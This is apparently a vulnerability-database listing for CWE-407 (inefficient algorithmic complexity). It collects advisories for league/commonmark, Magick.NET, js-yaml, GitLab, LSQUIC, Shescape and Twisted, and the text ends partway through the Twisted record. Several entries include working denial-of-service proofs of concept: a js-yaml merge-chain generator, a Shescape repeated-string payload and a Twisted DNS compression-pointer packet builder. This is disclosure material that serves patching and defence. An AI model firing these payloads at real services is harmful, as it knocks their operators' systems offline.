CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
262 vulnerabilities reference this CWE, most recent first.
GHSA-G2GP-3WWQ-F4PH
Vulnerability from github – Published: 2026-08-06 20:39 – Updated: 2026-08-06 20:39Impact
With the Attributes extension enabled, AttributesListener::findTargetAndDirection() resolves each attribute node's target by walking outward through its siblings. For a run of N adjacent inline attribute blocks placed at the start of a block (with nothing to their left), each node scans the entire sibling list to the far-right end before giving up and falling back to the parent. Each resolution is therefore Θ(N) and the whole run is Θ(N²).
Reaching the path requires AttributesExtension (opt-in, but first-party: League\CommonMark\Extension\Attributes\AttributesExtension). No other configuration matters — the quadratic walk runs unconditionally during parsing and is not gated by the attributes/allow allow-list, the on* hardening added in 2.7.0, or allow_unsafe_links. An unauthenticated attacker can submit a ~32 KB input ({#a} repeated 8,000 times) that takes over 5 seconds to convert, with time growing quadratically in input length — a cheap denial of service. Availability impact only. The Attributes extension was introduced in 1.5.0 (May 2020) with this outward-walk resolver present from the first commit, so all releases from 1.5.0 onward (including every 2.x) are affected.
Workarounds
There is no library-level configuration that gates the quadratic walk. Integrators who cannot upgrade can only reduce exposure indirectly:
- Disable the Attributes extension for untrusted input, or
- Impose a strict maximum input length before conversion — noting that because the cost is quadratic, even a modest cap must be small to meaningfully bound worst-case CPU.
Upgrading to a release containing the fix is recommended.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "league/commonmark"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:39:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nWith the Attributes extension enabled, `AttributesListener::findTargetAndDirection()` resolves each attribute node\u0027s target by walking outward through its siblings. For a run of N adjacent inline attribute blocks placed at the start of a block (with nothing to their left), each node scans the **entire** sibling list to the far-right end before giving up and falling back to the parent. Each resolution is therefore \u0398(N) and the whole run is **\u0398(N\u00b2)**.\n\nReaching the path requires `AttributesExtension` (opt-in, but first-party: `League\\CommonMark\\Extension\\Attributes\\AttributesExtension`). No other configuration matters \u2014 the quadratic walk runs unconditionally during parsing and is **not** gated by the `attributes/allow` allow-list, the `on*` hardening added in 2.7.0, or `allow_unsafe_links`. An unauthenticated attacker can submit a **~32 KB** input (`{#a}` repeated 8,000 times) that takes **over 5 seconds** to convert, with time growing quadratically in input length \u2014 a cheap denial of service. Availability impact only. **The Attributes extension was introduced in 1.5.0 (May 2020) with this outward-walk resolver present from the first commit, so all releases from 1.5.0 onward (including every 2.x) are affected.**\n\n### Workarounds\n\nThere is no library-level configuration that gates the quadratic walk. Integrators who cannot upgrade can only reduce exposure indirectly:\n\n- **Disable the Attributes extension** for untrusted input, or\n- **Impose a strict maximum input length before conversion** \u2014 noting that because the cost is quadratic, even a modest cap must be small to meaningfully bound worst-case CPU.\n\nUpgrading to a release containing the fix is recommended.",
"id": "GHSA-g2gp-3wwq-f4ph",
"modified": "2026-08-06T20:39:52Z",
"published": "2026-08-06T20:39:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-g2gp-3wwq-f4ph"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/commit/2d4c0fafa62501be919262064cffa6d71687430b"
},
{
"type": "PACKAGE",
"url": "https://github.com/thephpleague/commonmark"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "league/commonmark: Denial of service via adjacent inline attribute blocks"
}
GHSA-G5MF-WQQ5-VWG6
Vulnerability from github – Published: 2026-05-18 20:33 – Updated: 2026-06-11 14:04Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45664"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:33:59Z",
"nvd_published_at": "2026-06-10T22:16:58Z",
"severity": "MODERATE"
},
"details": "Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.",
"id": "GHSA-g5mf-wqq5-vwg6",
"modified": "2026-06-11T14:04:48Z",
"published": "2026-05-18T20:33:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g5mf-wqq5-vwg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45664"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Policy Bypass in MNG coder could "
}
GHSA-G796-FGMG-93MV
Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN
For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.0"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59868"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:19:27Z",
"nvd_published_at": "2026-07-08T16:16:33Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`\u003c\u003c`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n for (let i = 1; i \u003c count; i++) {\n lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n }\n\n lines.push(`b: *a${count - 1}`)\n return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
"id": "GHSA-g796-fgmg-93mv",
"modified": "2026-07-20T21:19:27Z",
"published": "2026-07-20T21:19:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59868"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml"
}
GHSA-G8V2-8WGJ-GWX8
Vulnerability from github – Published: 2024-12-12 12:31 – Updated: 2024-12-12 12:31An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.
{
"affected": [],
"aliases": [
"CVE-2024-8233"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T12:15:28Z",
"severity": "HIGH"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.",
"id": "GHSA-g8v2-8wgj-gwx8",
"modified": "2024-12-12T12:31:16Z",
"published": "2024-12-12T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8233"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2650086"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480867"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GHGV-34P7-4R7X
Vulnerability from github – Published: 2025-02-20 03:32 – Updated: 2025-02-20 03:32A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.
{
"affected": [],
"aliases": [
"CVE-2025-24947"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T03:15:12Z",
"severity": "MODERATE"
},
"details": "A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.",
"id": "GHSA-ghgv-34p7-4r7x",
"modified": "2025-02-20T03:32:03Z",
"published": "2025-02-20T03:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24947"
},
{
"type": "WEB",
"url": "https://github.com/litespeedtech/lsquic/releases/tag/v4.2.0"
},
{
"type": "WEB",
"url": "https://github.com/ncc-pbottine/QUIC-Hash-Dos-Advisory"
},
{
"type": "WEB",
"url": "https://xxhash.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GM3R-Q2WP-HW87
Vulnerability from github – Published: 2026-07-24 22:35 – Updated: 2026-08-12 19:40Impact
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.11"
},
{
"fixed": "2.1.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "shescape"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73413"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:35:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThis impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.\n\nAn attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.\n\n```javascript\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n //flagProtection unspecified\n // Or\n flagProtection: true,\n};\n\n// 2. Payload\nlet payload = \"\\u0000-\".repeat(32000);\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet callback;\n\ncallback = () =\u003e shescape.escape(payload);\n// Or\ncallback = () =\u003e shescape.escapeAll([payload]);\n// Or\ncallback = () =\u003e shescape.quote(payload);\n// Or\ncallback = () =\u003e shescape.quoteAll([payload]);\n\nconst t0 = process.hrtime.bigint();\ncallback();\nconst ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\n// 4. Impact\nconsole.log(\"Duration:\", ms);\n// Outputs \"Duration:\" followed by a number close to 20000\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
"id": "GHSA-gm3r-q2wp-hw87",
"modified": "2026-08-12T19:40:52Z",
"published": "2026-07-24T22:35:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2649"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/pull/2651"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ericcornelissen/shescape"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
},
{
"type": "WEB",
"url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Shescape: Quadratic-time denial of service in the flag-protection"
}
GHSA-GRGV-6HW6-V9G4
Vulnerability from github – Published: 2026-05-05 21:12 – Updated: 2026-06-08 20:05Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
## src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None):
visited = set()
self.name = b""
off = 0
while 1:
l = ord(readPrecisely(strio, 1))
if l == 0:
if off > 0:
strio.seek(off)
return
if (l >> 6) == 3:
new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
if new_off in visited:
raise ValueError("Compression loop in encoded name")
visited.add(new_off)
if off == 0:
off = strio.tell()
strio.seek(new_off)
continue
label = readPrecisely(strio, l)
if self.name == b"":
self.name = label
else:
self.name = self.name + b"." + label
PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
Author: Tomas Illuminati
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Twisted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.0rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42304"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:12:37Z",
"nvd_published_at": "2026-05-13T21:16:46Z",
"severity": "HIGH"
},
"details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n## src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n visited = set()\n self.name = b\"\"\n off = 0\n while 1:\n l = ord(readPrecisely(strio, 1))\n if l == 0:\n if off \u003e 0:\n strio.seek(off)\n return\n if (l \u003e\u003e 6) == 3:\n new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n if new_off in visited:\n raise ValueError(\"Compression loop in encoded name\")\n visited.add(new_off)\n if off == 0:\n off = strio.tell()\n strio.seek(new_off)\n continue\n label = readPrecisely(strio, l)\n if self.name == b\"\":\n self.name = label\n else:\n self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n num_pointers = 8000\n packet_length = 65533\n num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n buffer = bytearray(packet_length)\n\n struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n ptr_offset = 12\n for _ in range(num_pointers - 1):\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n ptr_offset += 2\n\n null_byte_offset = ptr_offset + 2\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n buffer[null_byte_offset] = 0\n\n question_offset = null_byte_offset + 1\n for _ in range(num_questions):\n if question_offset + 6 \u003c= packet_length:\n struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n question_offset += 6\n\n return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n factory = server.DNSServerFactory(clients=[])\n protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n transport = proto_helpers.StringTransport()\n protocol.makeConnection(transport)\n\n pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n print(\"payload\")\n print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n start = time.time()\n protocol.dataReceived(payload)\n end = time.time()\n\n print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on 